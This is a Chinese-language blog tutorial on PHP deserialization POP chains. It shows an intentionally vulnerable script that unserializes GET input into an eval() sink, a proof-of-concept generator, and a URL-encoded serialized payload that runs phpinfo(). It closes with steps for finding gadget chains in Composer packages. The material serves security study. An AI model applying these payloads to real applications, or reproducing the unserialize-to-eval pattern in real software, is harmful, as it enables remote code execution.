POP链的构造

如果关键代码不在魔术方法中,而是在一个类的普通方法中。

这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来

<?phpclass lemon {    protected $ClassObj;​    function __construct() {        $this->ClassObj = new normal();    }​    function __destruct() {        $this->ClassObj->action();    }}​class normal {    function action() {        echo "hello";    }}​class evil {    private $data;    function action() {        eval($this->data);    }}​unserialize($_GET['d']);

lemon这个类本来是调用,normal类的,但是现在action方法在evil类里面也有,所以可以构造pop链,调用evil类中的action方法。

<?phpclass lemon {    protected $ClassObj;    function __construct() {        $this->ClassObj = new evil();    }}class evil {    private $data = "phpinfo();";}echo urlencode(serialize(new lemon()));echo "\n\r";

注意的是,protected $ClassObj = new evil();是不行的,还是通过__construct来实例化。 生成poc:

O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

获取已经包含的文件: get_included_files() 获取已经定义的类: get_declared_classes() 加载所有类 __autoload()

现实中查找反序列化漏洞及构造exploit

前置知识

PHP的 unserialize() 函数只能反序列化在当前程序上下文中已经被定义过的类.

在传统的PHP中你需要通过使用一大串的include() 或者 require()来包含所需的类定义文件

于是后来出现了 autoloading 技术,他可以自动导入需要使用的类,再也不需要不断地复制粘贴那些include代码了

这种技术同时也方便了我们的漏洞利用.

因为在我们找到一个反序列化点的时候我们所能使用的类就多了,那么实现漏洞利用的可能性也就更加高。

还有一个东西要提一下,那就是Composer,这是一个php的包管理工具

同时他还能自动导入所以依赖库中定义的类。

这样一来 unserialize() 函数也就能使用所有依赖库中的类了,攻击面又增大不少。

1.Composer配置的依赖库存储在vendor目录下​2.如果要使用Composer的自动类加载机制,只需要在php文件的开头加上 require __DIR__ . '/vendor/autoload.php';

漏洞发现技巧

默认情况下 Composer 会从 Packagist下载包,那么我们可以通过审计这些包来找到可利用的 POP链。

找PHP链的基本思路

1.在各大流行的包中搜索 __wakeup()__destruct() 函数.

2.追踪调用过程

3.手工构造 并验证 POP 链

4.开发一个应用使用该库和自动加载机制,来测试exploit.

构造exploit的思路

1.寻找可能存在漏洞的应用

2.在他所使用的库中寻找 POP gadgets

3.在虚拟机中安装这些库,将找到的POP链对象序列化,在反序列化测试payload

4.将序列化之后的payload发送到有漏洞web应用中进行测试.

参考:PHP反序列化漏洞成因及漏洞挖掘技巧与案例

更多相关文章:

PHP反序列化漏洞解析

PHP反序列化漏洞与Webshell

PHP反序列化入门之寻找POP链(一)

PHP反序列化与Wordpress一些意外Bug的有趣结合

最新文章

  1. css3深入了解之奇技淫巧
  2. Python 判断变量的类型
  3. winrar命令行加压解密
  4. C++单元测试 之 gtest -- 组合数计算.
  5. 自定义组件之MoreListView
  6. [Android Studio] Android studio 多渠道打包(超简洁版)
  7. eclipse集成maven3后,创建java项目详细图解
  8. mongodb3.2.3 复制集安装步骤
  9. css3 画x图形
  10. [Angular 2] Build a select dropdown with *ngFor in Angular 2
  11. crawler_爬虫_反爬虫策略
  12. SQL优化--inner、left join替换in、not in、except
  13. 米卡 Mica Logo 存放处
  14. 【转载】 Java中String类型的两种创建方式
  15. springmvc框架原理分析和简单入门程序
  16. 问题8:手机端实现点击按钮时更换颜色(解决IOS不显示背景)
  17. 机器学习&amp;深度学习之路
  18. BZOJ1067 [SCOI2007]降雨量 线段树
  19. Nginx控制客户端请求的速率
  20. VS2008中MFC对话框界面编程Caption中文乱码的解决办法

热门文章

  1. 【leetcode】1278. Palindrome Partitioning III
  2. BZOJ 4269: 再见Xor 线性基+贪心
  3. Hibernate 5 开始使用指南前言
  4. hdu 5733 tetrahedron 四面体内切球球心公式
  5. CUDA-F-1-1-异构计算-CUDA
  6. Codeforces 1214 F G H 补题记录
  7. 创建虚拟机,安装操作系统,xshell6远程链接
  8. 自定义MessageConverter--消息转换器
  9. 搭建Kubernetes的web管理界面
  10. Java String字符串的不可变